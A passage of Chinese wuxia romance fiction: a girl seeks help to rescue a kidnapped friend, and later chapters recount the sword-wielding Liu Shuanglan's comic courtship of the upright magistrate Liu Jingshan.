周边的人越来越多,纷纷驻身回头,用诧异又好奇的目光看向那边跑边喊的小女孩。
“玩儿什么呢,丫头慢点跑,别摔着咯。”有路人笑嘻嘻地喊着,李非阳刹停脚步,看向喊话路人,对方却没有下一步的动作。
李非阳只好再跑起来,着急呼喊着,左右未见有刘如月口中所说的人出现。
体力逐渐消耗殆尽,李非阳越跑越慢,声音也越来越小。空气灌进喉咙,她猛烈咳嗽起来,不得不停下来扶着墙角缓气。但想到刘如月还在等着她救命,沉重如铅的脚步艰难地向前挪着。
“逍遥此意,隐踪铸锋。”一道幽灵般的声音响起。
李非阳一惊,猛地转身。一名身姿挺拔的男子站在身后,穿着朴素,但神情不明。李非阳捏了把汗,此人是何时靠近的?悄无声息。
“小姑娘,可是需要些茶水?我可以帮你。”
这就是刘如月说的人了吧?李非阳顾不上喘气,连连点头。
男子即刻转身:“请随我来。”
李非阳紧忙跟上。男子走在前面,时不时回头看一眼。李非阳明白男子是在就她的步伐,但现在不是闲情逸致漫步的时候!
“快点!很急!”李非阳大喊一声。
男子一顿,回身向李非阳一作揖:“得罪了。”李非阳还未反应过来,就像一个没有重量的破麻袋被轻轻松松甩上了肩,男子直接轻功奔走起来。
李非阳惊呼,连忙双手捂住嘴巴。眼前的景色在急速倒退,李非阳人生第一次在空中飞,还是倒着飞——很刺激,刺激到想吐。
飞果然比她两条小短腿跑的快,没多久,男子就停在了一处宅院前。把“麻袋”轻轻放下,男子跟门口的仆人交耳几句,仆人转身进屋。
李非阳扶着膝盖紧抿着唇,脸色煞白,头晕眼花。胃部一阵翻滚,她干呕了几下,强忍着不在人家门口真呕出来。
仆人出来,直接向李非阳抬手示意:“姑娘,里面请。”
李非阳擦了擦汗,直起身跟随,抬头看向门顶上挂着的匾——叶氏。
这屋的院子很大,院内的摆设精致却低调,但现在显然不是观赏的时候。李非阳的视线紧跟着仆人,远远便看见屋内坐着两人。
桌上摆着茶点,一女子正在倾倒茶水,坐姿端庄,仪态优雅,明黄色的衣着尤其亮眼。另一女子姿态松弛,笑容淡淡托着腮在说着什么,两把大刀柄立在背后,李非阳多看了两眼。两人似乎在度过一个休闲的下午。
“夫人,人带到了。”仆人作揖,侧身亮出李非阳。两位女子纷纷转头。
叶香玉的双目微微一睁:“呀,怎么是这么小的孩子?”把刚倒好的茶水推到李非阳跟前,“喝口水先吧。”
李非阳渴得像晒干的鱼,端起水咕噜咕噜就喝了个精光,温热的水流滋润了喉咙,也缓解了胃部的不适。柳霜岚打趣道:“这是赶哪儿来的小渴死鬼?”
“孩子,你是怎么知道那句暗语的?”叶香玉拎起茶壶再给她续了一杯,“慢慢说,不急。”
李非阳一把抓住了她的手,目光焦灼:“急!很急!刘如月被抓了!”
“什么?!”茶壶砰一声被置下,柳霜岚猛地站了起来,二人异口同声。
李非阳快速讲了个大概,再端起水杯一口气喝完。
柳霜岚皱起眉头:“我以为她是沉迷与私塾先生议学,才迟迟未归,不曾想……”双手不禁握起拳,柳霜岚似乎想到了什么,眼神逐渐暴戾。
叶香玉手搭上柳霜岚的肩,轻拍着无声安抚,转头问李非阳:“你可还记得你们被困的地方在何处?”
李非阳连连点头:“记得!我记得路!”
“事不宜迟,快走!”未等李非阳反应,这次她被夹在腋下飞起来了。
叶香玉望着柳霜岚飞奔而去的身影,回头吩咐仆人:“喊几个人跟上,随时接应。”
李非阳被颠得再次干呕出声。柳霜岚猛地停了下来,默默把人从腋下转移到背上。
虽然被那一堆刀具刀鞘刀架硌得难受,但李非阳总算能顺着气,说得出话了,一路指挥着柳霜岚。
这会被带着在各种屋檐上飞,李非阳才发现原来已经接近城门了,绑匪随时就把人运出城。
“就是前面那个屋子!”李非阳抬手指向一间衰破的宅院。
柳霜岚步伐减缓,在附近的巷子里停了下来,把李非阳放下:“你在这里等。”
她边拔出背后的刀,边冲向那家宅院,径直走了进去。
想象中的打斗声没有出现,李非阳看见柳霜岚四处张望着走了出来,随后往地上一蹲。
柳霜岚起身往前走几步,再次蹲下身去,脸色很难看。她直起身子向李非阳招了招手,李非阳见状马上跑过去。
“我叫柳霜岚,你呢?”
“我……我叫李非阳。”
“小阳乖,你听我说——”
李非阳有一瞬间的呆滞,这对话似曾相识。
“屋里已经没人了,月儿被带走了。”
“什么?被带走了?”李非阳嘴一瘪,眼泪珠子就开始往下掉,“我……我跑得还是不够快……”
柳霜岚嗤一声笑了:“怎么说哭就哭,都没个起手势?”
“他……他把性命……交到我手上……我……我却辜负了……他……”李非阳哭得断断续续,小手不停地抹着泪。
“人还没死呢,但你再哭一会,耽误了时间,估计离死也不远了。”
“啊……什么……”李非阳闻言,很及时地停止了抽泣。
“你看。”柳霜岚指向地上。
李非阳用力挤掉眼泪,瞪大了眼睛往地上看。地面灰尘漫土,一滴暗沉的红色不着痕迹地摊在上面,若不细看,极难发现。
“这是……”李非阳眨了眨眼睛,颤抖着开口,“血?”
“对,血迹从门口的锁把开始,”柳霜岚抬头看向远处的路面,“屋内没有其他血迹,锁把位置无异,应是自己故意磕碰锁把划伤的。”
是特意留下的痕迹,不是被人殴打或伤害而流的血。李非阳松了口气。
柳霜岚把刀插回刀架,皱着眉站起身:“能一路滴血的伤口肯定不小,必须得赶紧找到人了。”说罢她向着空无一人的巷口大喊,“香玉的人在吗?来个人带小孩回家。”
立马就有一道身影刷地出现在李非阳身后,回应道:“是,柳小姐。”
这人李非阳记得,就是刚刚带她去“叶氏”的男子。
柳霜岚抬手,摸了摸李非阳的脑袋,语气轻柔:“小阳,辛苦你带路了。接下来我要全力去救月儿,没空顾及你,你先随这人回家,事后我会登门拜访。”
李非阳明白,不能碍手碍脚,她点了点头:“柳……婶婶,你一定要把他带回来!”
“我会的,”柳霜岚目光看向远处,“这次,我会把事情全部解决完。”
李
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非阳到家时,天都快黑了。她看见父亲正在屋里急得来回踱步,母亲揪着手帕满脸担忧。
虽才一日未见,但李非阳从未如此地想念过父母。眼泪夺眶而出,喊着爹叫着娘,哭得稀里哗啦地跑进家门,一头扎进父母的怀里。
李父李母看着灰头土脸的女儿,心疼不已,抱着又递水又递吃,等女儿哭停了,才问遇到了何事。
第二日,李父李母备上礼,带着女儿先去了“叶氏”。
叶香玉婉拒了礼,说她没帮到什么忙,柳霜岚和刘如月要休息数日,暂时不宜拜访。听闻李家开布铺,叶香玉不着痕迹地转移了话题,聊起了商业。
李非阳听到刘如月无碍也就放了心。爹娘聊的那些叽里咕噜的东西她听不懂,百般无聊地啃着糕点。
叶香玉让自家的小公子去陪李非阳解闷。这叶家小公子虽体弱,但头脑灵活,数术学得甚好。然而嘴坏,说话难听,李非阳不想跟他玩,最后窝在父亲的怀里睡着了。
柳霜岚是七日后才登门的。李非阳看她穿着一身素净衣裳,牵着刘如月,没有背上她的大刀。她对李家父母自称刘霜岚,万般感谢李非阳救了自家孩子。
李家父母惶恐,紧忙把人扶起,感谢刘家母子救了自己孩子。两家大人谢来谢去的,李非阳感到无趣,拉着刘如月跑了。
自那之后,李非阳常常跑去找刘如月玩。她很喜欢这个温柔有礼貌,爱护她照顾她的小哥哥。
“等等,等等……咔。”三拾吃掉一粒瓜子,“你是说,刘婶是霸刀山庄柳家人?”
刘霜岚咧嘴一笑:“想不到吧,婶我以前也是个人物。”
三拾提出质疑:“既然你是柳家人,你烫手那晚怎么会认不出那个蓝色的穗子流苏,那个面具是蜀中唐家的信物?”
“原来那个是唐门的信物啊,我说怎么那么眼熟呢。”刘霜岚笑着说,“婶现在只是个普通的妇人,每天关心的只有吃什么,不记得多正常啊。”
三拾难以置信地看着刘霜岚,刘霜岚神情坦荡,看来是真的忘了。
“诶,这匹马是哪来的?咦,这么多人在呢。”
大伙循声转头,锦菱正好踏进门。
“啊,锦菱回来了?都这个时辰了,我去做饭。”刘霜岚站起身,“月儿,去找小阳,她很久没来我这吃饭了。”
刘如月微笑着起身:“好。”
刘霜岚想了一下,又说:“锦菱,去把叶遥看喊过来,他也很久没来我这吃饭了。”
锦菱没有任何疑问,应声转身就走。刘如月喊住了她,两人互相打着招呼一起出了门。
“三拾二郎,别想偷懒,来帮忙打下手。”
两人跟着进厨房,刘霜岚瞥了一眼三拾,假装不满问道:“怎么?让你干点活这么不乐意呢?”
三拾敛起神色,摇头:“我只是在想,你又是因何放下了那片江湖?”
二郎走在最后面,注视着三拾的后脑勺。
刘霜岚把菜篮子递给三拾:“打打杀杀行侠仗义随性而为的日子固然爽快,但简单普通等闲平凡的日子也不差。”
“平凡……你不会不甘心吗?”三拾接过菜篮子,择起一片菜,“习武多年,本可大有所为,最后却归于平静,淹没在这无名的街道里。”
刘霜岚把肉搁在案板上开切:“或许可惜,但我未曾后悔我的选择。”切好的肉抓回碗里,刘霜岚转头一看,“喂喂喂,聊归聊,手别停啊,你不会想这顿饭煮两个时辰吧?”
27.柳霜岚1
“好巧啊,刘大人。”
刘景山闻言转身。不远处的黑紫衣女子抱手站立,披肩的白毛被微风吹起,看起来柔软绵暖。她的背后却是与柔软截然相反的硕大刀具。女子微一晃头,把被吹乱的长发往侧边甩,笑容肆意。
“柳姑娘。”刘景山不可闻地叹了口气,“你跟踪本官数日了,究竟有何贵干?”
柳霜岚双手一摊:“误会啊刘大人,我只是路过。”
“你昨日也是说的路过,前日也是,大前日也是。”
柳霜岚笑嘻着一步步往前走:“行吧,既然刘大人挑明了问,那我也挑明了说,”刘景山一步步往后退,维持着两人之间的距离。
退到无路可退,柳霜岚双手撑着墙壁,将人抵在墙前:“刘大人,要跟我相好吗?”
柳霜岚的视线直白而灼热,那缕不安分的头发垂下来,发丝若有似无地扫着他的脸。刘景山的脸痒痒的,他默默地偏了头:“柳……柳姑娘,大庭广众的,莫要取闹本官了,这对孩子的影响不可估量……”
柳霜岚左右看了看,那缕头发来回扫荡着刘景山的脸:“哪里有人?我怎么没见到?”
她抬手把那缕头发别到耳后,手顺着就去捏住刘景山的下颚,把他的脸掰正。刘景山默默躲开那刺眼的目光,视线停在了对方挽着头发的耳朵上。那白皙的耳廓在日光下透着淡淡的粉,温润玲珑,秀丽可爱。
“刘大人,我是认真的。”柳霜岚嘴上说着认真,表情却丝毫没有严肃谈论的意思,“大人救我一命,我当然得以身相许不是?”
“本官食朝廷俸禄,自当袒护一方百姓。无论那日受伤的是柳姑娘还是陈阿伯李姨娘,即使只是一只鸟儿,本官都不会见死不救。所以……”
刘景山说着,视线习惯性地看向对方的眼睛。相触一瞬间,双眼仿佛被耀眼的日光刺到,本能地偏移开。这才发现对方是垫着脚尖在跟他说话,双脚简直要离地了。
被对方的小心思逗乐,刘景山抿了抿嘴角,站直了自己不知为何矮下去的膝盖。
“所以谈不上要以身相许。”
“叽里咕噜说什么呢?来亲个嘴。”
柳霜岚手一伸,没有任何抵抗的力,轻松勾下了刘景山的脖子。身子往前探,快速在对方唇上留下一热。
刘景山出身自贫苦人家,从小天资聪颖,少年老成,凭着自身努力终博得了这小小一个地方官。然初来乍到时,年轻的刘景山难以服众,他带起不苟言笑的面具,踏实干活,该治的治,该管的管,靠着一桩桩实绩,立下了属于自己的威严。
自遇见他以来,柳霜岚第一次见他这般慌乱惊恐的表情。
刘景山瞪大着眼,颤抖着双手,捂住嘴侧身蹲下去,耳根红得透亮。
柳霜岚跟着蹲下去,一手搭上他的肩把人勾过来,从容道:“刘大人,你这副见了鬼的表情,很伤姑娘心诶。”
气息喷在刘景山的耳边,烫得像沸腾的水气。刘景山连滚带爬,匆忙拉远距离,嘴唇哆嗦半天“你你你你”,最后挤出一句:“不知羞耻!”
柳霜岚笑出声:“刘大人,咱江湖中人,讲的就是一个随性自在,没那么多繁文缛节。”
刘景山敛起神色,清了清嗓子:“那很遗憾了,柳姑娘。本官是一个遵从繁文缛节的人,我们不是同类人,无法成为伴侣。”
柳霜岚眯了眯眼,勾着嘴角向前迈步:“什么同类不同类的,睡一觉再说。”
刘景山的表情一瞬崩塌,他转身就跑,吓得声音都劈了:“不要脸!”
柳霜岚开朗大笑,一个聂云追上,就着刘景山的速度,气不喘声不变:“刘大人是觉得跑得过我吗?”
刘景山扭头一看,柳霜岚脚尖轻轻触地,弹跳着向前,步伐轻快得仿佛是在跳舞,她甚至是侧着身在跑,一边跑一边看着他…………见鬼!
好烦这些会轻功的江湖人!
“刘……刘大人!”
远处传来一个熟悉的声音,语气很急,刘景山连忙刹脚。然而太久没有疾跑过了,双脚没控制住,一个踉跄往前,眼看就要摔了。柳霜岚轻轻松松把人接住。
刘景山跌入一个香软的怀抱。
“呀~”柳霜岚低下头,在刘景山耳边轻声说,“刘大人轻薄本姑娘,还望大人替小女子做主啊~”
刘景山大脑轰得炸开,眼前陷入一片茫白,耳边远远回荡着那清澈的声音“做主啊~”“主啊~”“啊~”……
“怎么?大人还不起来,是舍不得吗~”
刘景山一瞬间闪过很多个念头——要不,装晕吧。
刘景山麻木地抬起脸,站好,后退,后退,后退。他在心里默默给自己打气,逼自己去看柳霜岚的眼睛。
她根本一直在笑!被轻薄的到底是谁!
“刘大人!刘大人!”
刘景山像卡壳的木桩人,一节节转头。来人一愣,不明白刘大人为何一副感恩戴德的表情看着自己。
“怎么了,亮子?”刘景山一秒进入上值状态。准确的说是逃进上值状态。
亮子甩掉似乎看到了奇怪画面的念头,说起正事:“有人在叶家店铺闹事,捕快已经过去了,您赶紧去。”
“叶家?快走。”刘景山皱眉,板起脸跟亮子抬步就走。走了几步,突然想起什么,正想回头说两句,就见对方紧跟在自己身后。
柳霜岚弯了弯眉:“刘大人,处理正事要紧。我俩的事情,来日方长。”
刘景山只好闭上嘴赶路。
三人到达叶家时,一名壮汉正提着手中的刀,朝一位挂了彩的捕快砍去。
刘景山大喊:“住手!”
挥到半空的刀停了下来,店内众人视线纷纷转向来人。
刘景山皱着眉巡视一圈。地上到处是破损的物件,店里的木架被砸得东倒西歪,彩色脂粉撒了满地,场面凌乱又纷杂。衙门的数个捕快都受了不同程度的伤,躺着或搀扶着站立。
店里的仆人们被吓得窝在角落里,掌柜叶香玉站在靠前,一手握着轻剑,一手扶着浑圆的腹部,汗浸湿前额,她大口缓着呼吸,脸色苍白。两个护卫正挡在她跟前,都已经受了伤。
刘景山看向屋内另一边。对方有
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四人,皆受了点皮外伤,领头的那位眉粗眼大,一道伤疤横穿眉骨。他睥睨着刘景山,神情轻浮:“呦,这是哪位?”
一位捕快踉跄着走到刘景山身边,低声道:“大人,那几个江湖人来到香玉斋,二话不说就开始打砸伤人,出言威吓,不许叶掌柜在此营生。”
刘景山微微点头回应,往前迈步:“本官乃此地县尉,尔等何故滋事?”
刀疤嗤笑道:“县尉大人,闲事少管才能活得久,你还是睁一只眼闭一只眼,做你的自在小闲官吧。”
“放肆!唐法律例岂是你能蔑视的。”刘景山挥袖怒言,“尔等束手就擒!”
话音刚落,屋外涌进了数名捕快,捕头提着刀站到了刘景山身侧。
“束手就擒?哈哈哈哈!”刀疤的同伙个个都跟着大笑起来,“大人,你那些个小捕快也就只能抓抓小偷小贼,吾等这身在江湖里拼杀出来的能耐,你再来一车捕快都比不过。大人不想受伤就滚吧,吾等只是收钱办事,可不想染上民官的命案。”
“收钱办事?谁派你们来的?”
“县尉大人,西湖叶家这些年经商扩张,抢了不少别家的生意,害得别家钱财尽散,自是得罪了不少人。这……”刀疤顿了顿,邪笑道,“可不是你个小小县尉能管的事。”
叶香玉强忍着腹痛,颤抖着冷笑道:“呵。我叶家经商虽追求开枝散叶,但也明白不能专独,求个共利共赢。百姓的眼睛是雪亮的,自会选择真正利己的商家。你口中那些别家,怕不是些投机取巧,见利忘义的奸商之辈!”
刀疤掏了掏耳朵,不屑道:“谁奸谁诚,那都不是我要管的事,我只需让你在这做不下去就行。”
“既然你们不把我这个县尉放在眼里,那只好请你们去牢里坐坐了。”刘景山一挥手,身后的捕快纷纷进战。
“哈哈哈哈哈哈!一个软弱文官,一群无力残兵,还想抓我们?大言不惭!”
刀疤敛起讥笑,脚尖一勾,把地上破了半边的花瓶踢起,随手掂了掂,猛地砸向叶香玉。
叶香玉心一紧,身前的护卫连忙提剑去挡。一个身影落在他们跟前,手起刀落,一道破空的电流声,花瓶顷刻碎成片渣,往来时路径反弹回去。
刀疤手疾眼快抬起双臂去挡,身后的同伙也纷纷闪避。
“一群大老爷们欺负一个孕妇,真好意思下得了手啊。”
刀疤一甩手臂,面无表情看向对方:“你又是谁?”
柳霜岚微微勾唇,手中长刀斜指地面,左脚微微站开,身姿挺拔如松,优雅又不失飒爽英气——“霸刀山庄,柳霜岚。”
“然后呢?”
三拾把择好的大半篮菜递给刘霜岚,拿起灶边的两个瓜开始削皮。
“然后我就把人都打得半残,收进牢里啦。”柳霜岚接过菜,伸手去探锅底的热度,歪头跟生火的二郎对视一眼,示意加柴。
“就这?”
“当然不止。”青菜下锅,响起劈里啪啦的声音,柳霜岚快速挥动锅铲,“香玉动了胎气,当日就早产了,所以叶遥看从小身子弱,不能习武。”
28.柳霜岚2
柳霜岚大步流星迈进屋内,开口叫道:“香玉,我来了。”绕过屏风,正看见婆子接过装药的碗。
叶香玉回了一个苦苦的笑容:“听说这几日你跟着刘大人到处跑,忙活什么呢?”
“捕快们休假养伤,衙门人手紧缺得很,我帮着做些力所能及的事。”柳霜岚凑到床边,细细看着叶香玉,“今日气色不错。”她低头看向那个被包的严严实实的瘦弱婴儿,不禁皱了眉头——呼吸太弱了,仿佛随时会夭折。
“有什么消息吗?”
柳霜岚摇头:“那几人嘴硬得很,无论如何逼问都只字不说。”
叶香玉颔首:“我给庄里去了信借人,估摸着还需要点时间。”她无奈一笑,“我出庄时本想着低调行事,便只带了些生活仆人和两个护卫。没想到这小小的县城里,竟是藏龙卧虎……”看向自己无辜的孩子,叶香玉神情阴郁,她得给自己和孩子做好以后的打算。
“对了,刘景山已经申状,只是不知结果能不能如意。”
叶香玉视线飘向窗外,不知想起些什么,双眼流露出一丝落寞。许久,她才收回目光,语气清晰坚定:“放心吧。天策府是负责江湖事宜的官府力量,维护大唐安定是他们的信念。即使是这小地方,也是大唐的一部分,他们不会坐视不管。”
“天策府的将士来到前,大人的安危交给我这个闲人最合适了,你说是不是,刘大人?”柳霜岚抱着手,笑眯眯站在刘景山身侧。
刘景山扶额,默默叹了口气,向捕头摆了摆手。
捕头抱拳作揖:“柳姑娘仗义,大人就交给你了。”
柳霜岚点头:“放心,定不会让咱们大人被欺负。”
刘景山抿了抿嘴,低头接着写自己的状文。会欺负他的不就只有她吗!
待数页状文写完,刘景山抬起僵硬的颈脖,转动放松片刻。眼角瞥见那抹紫色身影,才想起她还在屋里。
柳霜岚逆光站立在翻一本记事册,眉目专注。天光倾洒勾勒出她的侧脸,明媚耀眼。
刘景山目不转睛地看着。
自那日救起受伤的她后,她便经常跟在自己身侧,时常说些羞人的话挑逗得他脸红耳赤。可每每自己要干正事时,她便只安静在旁陪着,做着自己的事,从不耽误他。
她性格鲜明,她心如明镜,她特立独行,我行我素,她……
“大人,这么直勾勾地盯着我看,是被我迷住了吗?”柳霜岚把册子放回原位,笑着向刘景山走去。
刘景山没有像以往那般转移视线,也没开口说那一句已成口头禅的“不知羞耻!”,他静静地看着柳霜岚靠近。
这反应倒是让柳霜岚感到新鲜,她与刘景山隔着那一张书桌,俯下身,一手撑在桌面,一手去捏对方的下颚:“刘大人这是什么意思?”
“柳姑娘,”刘景山喉结滚动,“你能文能武,貌美聪慧,为人仗义,性情爽快。你那么好,为何却……却会看上我这么一个,一无是处,毫无亮点的小人物?”
柳霜岚微微挑眉,她直视着对方,那双眼真诚却有拨不开的云雾,似乎真是一个让他怎么想也想不通的问题。
“刘大人,你有点看轻自己了。”
“既然我在你眼中是那样好的人,那我看人的眼光……又怎么会俗呢?”
“于这天地,你是小人物,我又何尝不是?”
“我并不能呼风唤雨或是起死回生,救不活一株旱死的禾苗。但你可以做到避免了这株禾苗的旱死,你怎么会是一无是处?”
“你说我为人仗义,而你作为这小地方的父母官,守着护着这一方百姓,随叫随到,事事关心,你又何尝不仗义?这天下,多的是尸位素餐的贪官。”
“刘大人不清楚自己的好,我可以代劳,替你数一数,但最重要的一点——”
“如果大人不是长着这样一张脸……”柳霜岚咧嘴一笑,“人多好我都不会喜欢。”
清冽如泉水般的声音,一字一句传到耳中。刘景山内心深处漫出一股舒适的凉意,滋润了他干涸已久的心。那固化的面具裂开了一道缝隙,似有清风拂面。
虽然最后的前提把前面的结论都推翻了,但每一句都是对他的认可。刘景山被哄到了,心情大好,嘴角不自觉弯起了一个看不见变化的角度。
“发什么呆呢,大人?再发呆我亲你了。”
刘景山默默把身子往后靠,下颚还残留着对方手指的余温。他握拳抵唇,转移视线,掩饰性轻咳两声。
“咳咳……我……有这么好吗?”
柳霜岚眯眯笑着:“大人很好。既然大人觉得我好,我也觉得大人好,那大人要与我相好吗?”
刘景山头脑发麻,一张脸涨红到耳根尖。
柳霜岚知道,他又要说那句口头禅了,这段时间她随时随地张嘴就是一句挑逗,那句话她都听到耳朵生茧了。所以那句“好”传到耳边的时候,柳霜岚楞住了。
对方这一愣,刘景山仿佛有数千虫子往身上爬,混身刺挠遭不住,他撑着桌面猛地站起来。
“柳姑娘不会只是随口说说而已吧?我不管,君子一言,驷马难追,以后柳姑娘就是我的相好了。”
柳霜岚反应过来,嘴角疯狂上扬,打趣道:“原来只要夸夸刘大人,就能得到刘大人的心啊。”
“并非。”那灼热的目光还是烫得他偏了视线,刘景山突然感到万分口渴,他不自觉地滚了喉咙。
“街坊们天天都夸我,可是,只有柳姑娘夸我的时候,这里……”他指向自己的心口,回看对方的眼睛,“会跳得很快。”
“我想,它早就想回应你,只是我不敢。”刘景山轻轻捉住柳霜岚的手,覆在自己的胸口上,“柳姑娘给了我勇气,我希望——柳姑娘能听到它的回应。”
话说出口,刘景山松了一口气。他眉眼平舒,嘴角弯起,心满意足。
这又是柳霜岚没见过的模样。
如此直白的回应。
柳霜岚笑得眉眼弯弯:“听到了。”
太阳渐落,闯进室内的天光染上了金黄。璀璨的光雾横隔了世间外的一切,温柔地包裹着二人,除了彼此,什么都不存在了。
四周安静得……
“听到了听到了!”
安静不了一点。
刘景山被突然爆鸣的声音吓一跳,连忙松开柳霜岚的手,瞬间板起脸看向门外。
几颗头整整齐齐地长在门框上,表情或激动或欢喜,还有个在哭的,画面十分诡异。
刘景山感到脑筋突突的,咬着牙齿问:“你们几时在那的?”
在哭的那颗头动了起来,连带着身体,快速往屋内二人跑去,一边跑一边抹眼泪:“呜呜呜刘大人……刘大人终于呜呜呜呜呜呜……”
捕头嚷嚷着就要去抱刘景山,被刘景山一个眼神刹住。他只好干巴巴地转身,回头抱住
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后面跟上的捕快兄弟们:“呜刘大人终于有喜欢的姑娘了,不再打光棍了,呜呜呜呜我好高兴啊亮子,呜呜呜……”
亮子眼睛也亮闪闪的,回抱捕头:“有情人终成眷属,刘大人终于……”
“咳!哭哭闹闹成何体统?”刘景山恢复了往日不苟言笑的模样,“你们几时在那的?”
“也没有很久,大概是大人说自己是一无是处小人物的时候吧。”
那不就是全都听到了!?
刘景山天都塌了。他闭上眼睛,头一次不愿面对这伙与他朝夕相处多年的手下。
捕快们纷纷围上柳霜岚,你一言我一句。
“柳姑娘,我就知道刘大人会栽在你手上!”
“太好了柳姑娘,以后我们都是一家人,只要不违背大人的意愿,有什么需要我们做的尽管说,不用客气!”
“不亏是女中豪侠啊,柳姑娘。”
“柳姑娘柳姑娘!”
“叫什么柳姑娘,现在要叫夫人!”
“对对对,夫人……”
柳霜岚插不进一句话,只能笑着听他们叽叽喳喳。
“不要乱叫!”刘景山的声音不大,但无人能忽视,“我平时怎么要求你们的?”
“所有人,不许出去乱说,不许乱开玩笑。以往怎么称呼柳姑娘,往后就怎么称呼,不许让柳姑娘难堪。”
“大人,这就护上了啊。”捕快们挤眉弄眼地转而“围攻”刘景山。
“是是是,都听大人的,都听大人的。”
“不亏是咱熟悉的刘大人,谈对象还跟办公事一样。”
“那可不,辛苦柳姑娘了。”
“柳姑娘,可难为你了。”
柳霜岚笑得灿烂:“不难为,你们大人是个宝藏,挖一挖就会看到不同的东西,有趣得很。”
“不亏是柳姑娘,就喜欢来高难度的,佩服,佩服!”
“行了行了!净瞎说!”刘景山耳根泛红,怒喷手下们,“你们那么闲吗?事情都办完了?赶紧该干嘛干嘛去!”
“大人害羞了,害羞了!”
捕快们一哄而散,像枝头上的小鸟,吵闹着飞远。
刘景山扶额:“你没事吧,柳姑娘?”
“我?我有什么事?”
“我平日里严令他们不得起哄姑娘妇人,今日许是太高兴,一时便忘了礼节。我替他们向你道歉。”
柳霜岚挑了挑眉,伸手抚上刘景山认真的脸。对方被雷击般颤了一下,刚褪红的耳根再次染色。
“刘大人真讨人喜欢。既然如此,那大人就用自己的身体补偿我吧。”
“不……”
“不知羞耻?”
“不……不到时候……”
“那什么时候是到时候?”
“晚……”
“晚上?”
“晚一些……晚一些……”
“晚一些是多晚?今晚是晚一些,明晚是晚一些,明年也是晚一些。”
刘景山脑袋一片空白,脸上是罕见的狼狈,一张嘴抿了又抿,张了又张,说不出半个字。
那张脸红到脖梗,柳霜岚都怀疑他会不会承受不住昏过去,还是收敛一下,别把人吓死了。
“好了,不逗大人了,说点正事。”
刘景山肉眼可见地松了一口气:“什么事?”柳霜岚乐呵得。
“香玉喊我们过去一趟。”